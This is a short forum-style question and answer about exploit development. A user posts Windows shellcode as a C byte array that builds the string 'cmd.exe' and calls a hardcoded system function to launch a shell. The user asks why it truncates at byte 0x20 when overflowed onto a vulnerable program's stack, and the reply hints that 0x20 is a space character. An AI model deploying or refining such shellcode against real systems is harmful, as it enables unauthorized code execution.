Why is my shellcode is truncated after \x20 opcode, when it is copied by string to stack on a second vulnerable program?
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
Are you passing this shellcode as a command-line argument? In that case, take a look at the ASCII code for 0x20 😉
